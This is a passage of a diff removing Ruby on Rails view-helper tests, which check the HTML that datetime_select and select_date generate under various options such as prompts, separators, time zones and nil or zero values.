- now = Time.mktime(2004, 6, 15, 16, 35, 0)
- mytz.now = now
- Time.zone = mytz
-
- assert_equal mytz, Time.zone
-
- @post = Post.new
-
- expected = %{<select id="post_updated_at_1i" name="post[updated_at(1i)]">\n}
- expected << %{<option value="1999">1999</option>\n<option value="2000">2000</option>\n<option value="2001">2001</option>\n<option value="2002">2002</option>\n<option value="2003">2003</option>\n<option value="2004" selected="selected">2004</option>\n<option value="2005">2005</option>\n<option value="2006">2006</option>\n<option value="2007">2007</option>\n<option value="2008">2008</option>\n<option value="2009">2009</option>\n}
- expected << "</select>\n"
-
- expected << %{<select id="post_updated_at_2i" name="post[updated_at(2i)]">\n}
- expected << %{<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6" selected="selected">June</option>\n<option value="7">July</option>\n<option value="8">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n}
- expected << "</select>\n"
-
- expected << %{<select id="post_updated_at_3i" name="post[updated_at(3i)]">\n}
- expected << %{<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15" selected="selected">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n}
- expected << "</select>\n"
-
- expected << " &mdash; "
-
- expected << %{<select id="post_updated_at_4i" name="post[updated_at(4i)]">\n}
- expected << %{<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16" selected="selected">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n}
- expected << "</select>\n"
- expected << " : "
- expected << %{<select id="post_updated_at_5i" name="post[updated_at(5i)]">\n}
- expected << %{<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n<option value="32">32</option>\n<option value="33">33</option>\n<option value="34">34</option>\n<option value="35" selected="selected">35</option>\n<option value="36">36</option>\n<option value="37">37</option>\n<option value="38">38</option>\n<option value="39">39</option>\n<option value="40">40</option>\n<option value="41">41</option>\n<option value="42">42</option>\n<option value="43">43</option>\n<option value="44">44</option>\n<option value="45">45</option>\n<option value="46">46</option>\n<option value="47">47</option>\n<option value="48">48</option>\n<option value="49">49</option>\n<option value="50">50</option>\n<option value="51">51</option>\n<option value="52">52</option>\n<option value="53">53</option>\n<option value="54">54</option>\n<option value="55">55</option>\n<option value="56">56</option>\n<option value="57">57</option>\n<option value="58">58</option>\n<option value="59">59</option>\n}
- expected << "</select>\n"
-
- assert_dom_equal expected, datetime_select("post", "updated_at")
- ensure
- Time.zone = nil
- end
-
- def test_datetime_select_with_html_options_within_fields_for
- @post = Post.new
- @post.updated_at = Time.local(2004, 6, 15, 16, 35)
-
- output_buffer = fields_for :post, @post do |f|
- concat f.datetime_select(:updated_at, {}, :class => 'selector')
- end
-
- expected = "<select id='post_updated_at_1i' name='post[updated_at(1i)]' class='selector'>\n<option value='1999'>1999</option>\n<option value='2000'>2000</option>\n<option value='2001'>2001</option>\n<option value='2002'>2002</option>\n<option value='2003'>2003</option>\n<option selected='selected' value='2004'>2004</option>\n<option value='2005'>2005</option>\n<option value='2006'>2006</option>\n<option value='2007'>2007</option>\n<option value='2008'>2008</option>\n<option value='2009'>2009</option>\n</select>\n"
- expected << "<select id='post_updated_at_2i' name='post[updated_at(2i)]' class='selector'>\n<option value='1'>January</option>\n<option value='2'>February</option>\n<option value='3'>March</option>\n<option value='4'>April</option>\n<option value='5'>May</option>\n<option selected='selected' value='6'>June</option>\n<option value='7'>July</option>\n<option value='8'>August</option>\n<option value='9'>September</option>\n<option value='10'>October</option>\n<option value='11'>November</option>\n<option value='12'>December</option>\n</select>\n"
- expected << "<select id='post_updated_at_3i' name='post[updated_at(3i)]' class='selector'>\n<option value='1'>1</option>\n<option value='2'>2</option>\n<option value='3'>3</option>\n<option value='4'>4</option>\n<option value='5'>5</option>\n<option value='6'>6</option>\n<option value='7'>7</option>\n<option value='8'>8</option>\n<option value='9'>9</option>\n<option value='10'>10</option>\n<option value='11'>11</option>\n<option value='12'>12</option>\n<option value='13'>13</option>\n<option value='14'>14</option>\n<option selected='selected' value='15'>15</option>\n<option value='16'>16</option>\n<option value='17'>17</option>\n<option value='18'>18</option>\n<option value='19'>19</option>\n<option value='20'>20</option>\n<option value='21'>21</option>\n<option value='22'>22</option>\n<option value='23'>23</option>\n<option value='24'>24</option>\n<option value='25'>25</option>\n<option value='26'>26</option>\n<option value='27'>27</option>\n<option value='28'>28</option>\n<option value='29'>29</option>\n<option value='30'>30</option>\n<option value='31'>31</option>\n</select>\n"
- expected << " &mdash; <select id='post_updated_at_4i' name='post[updated_at(4i)]' class='selector'>\n<option value='00'>00</option>\n<option value='01'>01</option>\n<option value='02'>02</option>\n<option value='03'>03</option>\n<option value='04'>04</option>\n<option value='05'>05</option>\n<option value='06'>06</option>\n<option value='07'>07</option>\n<option value='08'>08</option>\n<option value='09'>09</option>\n<option value='10'>10</option>\n<option value='11'>11</option>\n<option value='12'>12</option>\n<option value='13'>13</option>\n<option value='14'>14</option>\n<option value='15'>15</option>\n<option selected='selected' value='16'>16</option>\n<option value='17'>17</option>\n<option value='18'>18</option>\n<option value='19'>19</option>\n<option value='20'>20</option>\n<option value='21'>21</option>\n<option value='22'>22</option>\n<option value='23'>23</option>\n</select>\n"
- expected << " : <select id='post_updated_at_5i' name='post[updated_at(5i)]' class='selector'>\n<option value='00'>00</option>\n<option value='01'>01</option>\n<option value='02'>02</option>\n<option value='03'>03</option>\n<option value='04'>04</option>\n<option value='05'>05</option>\n<option value='06'>06</option>\n<option value='07'>07</option>\n<option value='08'>08</option>\n<option value='09'>09</option>\n<option value='10'>10</option>\n<option value='11'>11</option>\n<option value='12'>12</option>\n<option value='13'>13</option>\n<option value='14'>14</option>\n<option value='15'>15</option>\n<option value='16'>16</option>\n<option value='17'>17</option>\n<option value='18'>18</option>\n<option value='19'>19</option>\n<option value='20'>20</option>\n<option value='21'>21</option>\n<option value='22'>22</option>\n<option value='23'>23</option>\n<option value='24'>24</option>\n<option value='25'>25</option>\n<option value='26'>26</option>\n<option value='27'>27</option>\n<option value='28'>28</option>\n<option value='29'>29</option>\n<option value='30'>30</option>\n<option value='31'>31</option>\n<option value='32'>32</option>\n<option value='33'>33</option>\n<option value='34'>34</option>\n<option selected='selected' value='35'>35</option>\n<option value='36'>36</option>\n<option value='37'>37</option>\n<option value='38'>38</option>\n<option value='39'>39</option>\n<option value='40'>40</option>\n<option value='41'>41</option>\n<option value='42'>42</option>\n<option value='43'>43</option>\n<option value='44'>44</option>\n<option value='45'>45</option>\n<option value='46'>46</option>\n<option value='47'>47</option>\n<option value='48'>48</option>\n<option value='49'>49</option>\n<option value='50'>50</option>\n<option value='51'>51</option>\n<option value='52'>52</option>\n<option value='53'>53</option>\n<option value='54'>54</option>\n<option value='55'>55</option>\n<option value='56'>56</option>\n<option value='57'>57</option>\n<option value='58'>58</option>\n<option value='59'>59</option>\n</select>\n"
-
- assert_dom_equal expected, output_buffer
- end
-
- def test_datetime_select_with_separators
- @post = Post.new
- @post.updated_at = Time.local(2004, 6, 15, 15, 16, 35)
-
- expected = %{<select id="post_updated_at_1i" name="post[updated_at(1i)]">\n}
- expected << %{<option value="1999">1999</option>\n<option value="2000">2000</option>\n<option value="2001">2001</option>\n<option value="2002">2002</option>\n<option value="2003">2003</option>\n<option value="2004" selected="selected">2004</option>\n<option value="2005">2005</option>\n<option value="2006">2006</option>\n<option value="2007">2007</option>\n<option value="2008">2008</option>\n<option value="2009">2009</option>\n}
- expected << "</select>\n"
-
- expected << " / "
-
- expected << %{<select id="post_updated_at_2i" name="post[updated_at(2i)]">\n}
- expected << %{<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6" selected="selected">June</option>\n<option value="7">July</option>\n<option value="8">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n}
- expected << "</select>\n"
-
- expected << " / "
-
- expected << %{<select id="post_updated_at_3i" name="post[updated_at(3i)]">\n}
- expected << %{<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15" selected="selected">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n}
- expected << "</select>\n"
-
- expected << " , "
-
- expected << %(<select id="post_updated_at_4i" name="post[updated_at(4i)]">\n)
- 0.upto(23) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 15}>#{sprintf("%02d", i)}</option>\n) }
- expected << "</select>\n"
-
- expected << " - "
-
- expected << %(<select id="post_updated_at_5i" name="post[updated_at(5i)]">\n)
- 0.upto(59) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 16}>#{sprintf("%02d", i)}</option>\n) }
- expected << "</select>\n"
-
- expected << " - "
-
- expected << %(<select id="post_updated_at_6i" name="post[updated_at(6i)]">\n)
- 0.upto(59) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 35}>#{sprintf("%02d", i)}</option>\n) }
- expected << "</select>\n"
-
- assert_dom_equal expected, datetime_select("post", "updated_at", { :date_separator => " / ", :datetime_separator => " , ", :time_separator => " - ", :include_seconds => true })
- end
-
- def test_datetime_select_with_integer
- @post = Post.new
- @post.updated_at = 3
- datetime_select("post", "updated_at")
- end
-
- def test_datetime_select_with_infinity # Float
- @post = Post.new
- @post.updated_at = (-1.0/0)
- datetime_select("post", "updated_at")
- end
-
- def test_datetime_select_with_default_prompt
- @post = Post.new
- @post.updated_at = nil
-
- expected = %{<select id="post_updated_at_1i" name="post[updated_at(1i)]">\n}
- expected << %{<option value="">Year</option>\n<option value="1999">1999</option>\n<option value="2000">2000</option>\n<option value="2001">2001</option>\n<option value="2002">2002</option>\n<option value="2003">2003</option>\n<option value="2004">2004</option>\n<option value="2005">2005</option>\n<option value="2006">2006</option>\n<option value="2007">2007</option>\n<option value="2008">2008</option>\n<option value="2009">2009</option>\n}
- expected << "</select>\n"
-
- expected << %{<select id="post_updated_at_2i" name="post[updated_at(2i)]">\n}
- expected << %{<option value="">Month</option>\n<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n}
- expected << "</select>\n"
-
- expected << %{<select id="post_updated_at_3i" name="post[updated_at(3i)]">\n}
- expected << %{<option value="">Day</option>\n<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n}
- expected << "</select>\n"
-
- expected << " &mdash; "
-
- expected << %{<select id="post_updated_at_4i" name="post[updated_at(4i)]">\n}
- expected << %{<option value="">Hour</option>\n<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n}
- expected << "</select>\n"
- expected << " : "
- expected << %{<select id="post_updated_at_5i" name="post[updated_at(5i)]">\n}
- expected << %{<option value="">Minute</option>\n<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n<option value="32">32</option>\n<option value="33">33</option>\n<option value="34">34</option>\n<option value="35">35</option>\n<option value="36">36</option>\n<option value="37">37</option>\n<option value="38">38</option>\n<option value="39">39</option>\n<option value="40">40</option>\n<option value="41">41</option>\n<option value="42">42</option>\n<option value="43">43</option>\n<option value="44">44</option>\n<option value="45">45</option>\n<option value="46">46</option>\n<option value="47">47</option>\n<option value="48">48</option>\n<option value="49">49</option>\n<option value="50">50</option>\n<option value="51">51</option>\n<option value="52">52</option>\n<option value="53">53</option>\n<option value="54">54</option>\n<option value="55">55</option>\n<option value="56">56</option>\n<option value="57">57</option>\n<option value="58">58</option>\n<option value="59">59</option>\n}
- expected << "</select>\n"
-
- assert_dom_equal expected, datetime_select("post", "updated_at", :start_year=>1999, :end_year=>2009, :prompt => true)
- end
-
- def test_datetime_select_with_custom_prompt
- @post = Post.new
- @post.updated_at = nil
-
- expected = %{<select id="post_updated_at_1i" name="post[updated_at(1i)]">\n}
- expected << %{<option value="">Choose year</option>\n<option value="1999">1999</option>\n<option value="2000">2000</option>\n<option value="2001">2001</option>\n<option value="2002">2002</option>\n<option value="2003">2003</option>\n<option value="2004">2004</option>\n<option value="2005">2005</option>\n<option value="2006">2006</option>\n<option value="2007">2007</option>\n<option value="2008">2008</option>\n<option value="2009">2009</option>\n}
- expected << "</select>\n"
-
- expected << %{<select id="post_updated_at_2i" name="post[updated_at(2i)]">\n}
- expected << %{<option value="">Choose month</option>\n<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n}
- expected << "</select>\n"
-
- expected << %{<select id="post_updated_at_3i" name="post[updated_at(3i)]">\n}
- expected << %{<option value="">Choose day</option>\n<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n}
- expected << "</select>\n"
-
- expected << " &mdash; "
-
- expected << %{<select id="post_updated_at_4i" name="post[updated_at(4i)]">\n}
- expected << %{<option value="">Choose hour</option>\n<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n}
- expected << "</select>\n"
- expected << " : "
- expected << %{<select id="post_updated_at_5i" name="post[updated_at(5i)]">\n}
- expected << %{<option value="">Choose minute</option>\n<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n<option value="32">32</option>\n<option value="33">33</option>\n<option value="34">34</option>\n<option value="35">35</option>\n<option value="36">36</option>\n<option value="37">37</option>\n<option value="38">38</option>\n<option value="39">39</option>\n<option value="40">40</option>\n<option value="41">41</option>\n<option value="42">42</option>\n<option value="43">43</option>\n<option value="44">44</option>\n<option value="45">45</option>\n<option value="46">46</option>\n<option value="47">47</option>\n<option value="48">48</option>\n<option value="49">49</option>\n<option value="50">50</option>\n<option value="51">51</option>\n<option value="52">52</option>\n<option value="53">53</option>\n<option value="54">54</option>\n<option value="55">55</option>\n<option value="56">56</option>\n<option value="57">57</option>\n<option value="58">58</option>\n<option value="59">59</option>\n}
- expected << "</select>\n"
-
- assert_dom_equal expected, datetime_select("post", "updated_at", :start_year=>1999, :end_year=>2009, :prompt => {:year => 'Choose year', :month => 'Choose month', :day => 'Choose day', :hour => 'Choose hour', :minute => 'Choose minute'})
- end
-
- def test_date_select_with_zero_value_and_no_start_year
- expected = %(<select id="date_first_year" name="date[first][year]">\n)
- (Date.today.year-5).upto(Date.today.year+1) { |y| expected << %(<option value="#{y}">#{y}</option>\n) }
- expected << "</select>\n"
-
- expected << %(<select id="date_first_month" name="date[first][month]">\n)
- expected << %(<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n)
- expected << "</select>\n"
-
- expected << %(<select id="date_first_day" name="date[first][day]">\n)
- expected << %(<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n)
- expected << "</select>\n"
-
- assert_dom_equal expected, select_date(0, :end_year => Date.today.year+1, :prefix => "date[first]")
- end
-
- def test_date_select_with_zero_value_and_no_end_year
- expected = %(<select id="date_first_year" name="date[first][year]">\n)
- last_year = Time.now.year + 5
- 2003.upto(last_year) { |y| expected << %(<option value="#{y}">#{y}</option>\n) }
- expected << "</select>\n"
-
- expected << %(<select id="date_first_month" name="date[first][month]">\n)
- expected << %(<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n)
- expected << "</select>\n"
-
- expected << %(<select id="date_first_day" name="date[first][day]">\n)
- expected << %(<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n)
- expected << "</select>\n"
-
- assert_dom_equal expected, select_date(0, :start_year => 2003, :prefix => "date[first]")
- end
-
- def test_date_select_with_zero_value_and_no_start_and_end_year
- expected = %(<select id="date_first_year" name="date[first][year]">\n)
- (Date.today.year-5).upto(Date.today.year+5) { |y| expected << %(<option value="#{y}">#{y}</option>\n) }
- expected << "</select>\n"
-
- expected << %(<select id="date_first_month" name="date[first][month]">\n)
- expected << %(<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n)
- expected << "</select>\n"
-
- expected << %(<select id="date_first_day" name="date[first][day]">\n)
- expected << %(<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n)
- expected << "</select>\n"
-
- assert_dom_equal expected, select_date(0, :prefix => "date[first]")
- end
-
- def test_date_select_with_nil_value_and_no_start_and_end_year
- expected = %(<select id="date_first_year" name="date[first][year]">\n)
- (Date.today.year-5).upto(Date.today.year+5) { |y| expected << %(<option value="#{y}">#{y}</option>\n) }
- expected << "</select>\n"
-
- expected << %(<select id="date_first_month" name="date[first][month]">\n)
- expected << %(<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n)
- expected << "</select>\n"
-
- expected << %(<select id="date_first_day" name="date[first][day]">\n)
- expected << %(<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n)
- expected << "</select>\n"
-
- assert_dom_equal expected, select_date(nil, :prefix => "date[first]")
- end
-
- def test_datetime_select_with_nil_value_and_no_start_and_end_year
- expected = %(<select id="date_first_year" name="date[first][year]">\n)
- (Date.today.year-5).upto(Date.today.year+5) { |y| expected << %(<option value="#{y}">#{y}</option>\n) }
- expected << "</select>\n"
-
- expected << %(<select id="date_first_month" name="date[first][month]">\n)
- expected << %(<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n)
- expected << "</select>\n"
-
- expected << %(<select id="date_first_day" name="date[first][day]">\n)
- expected << %(<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n)
- expected << "</select>\n"
-
- expected << " &mdash; "
-
- expected << %(<select id="date_first_hour" name="date[first][hour]">\n)
- expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n)
- expected << "</select>\n"
-
- expected << " : "
-
- expected << %(<select id="date_first_minute" name="date[first][minute]">\n)
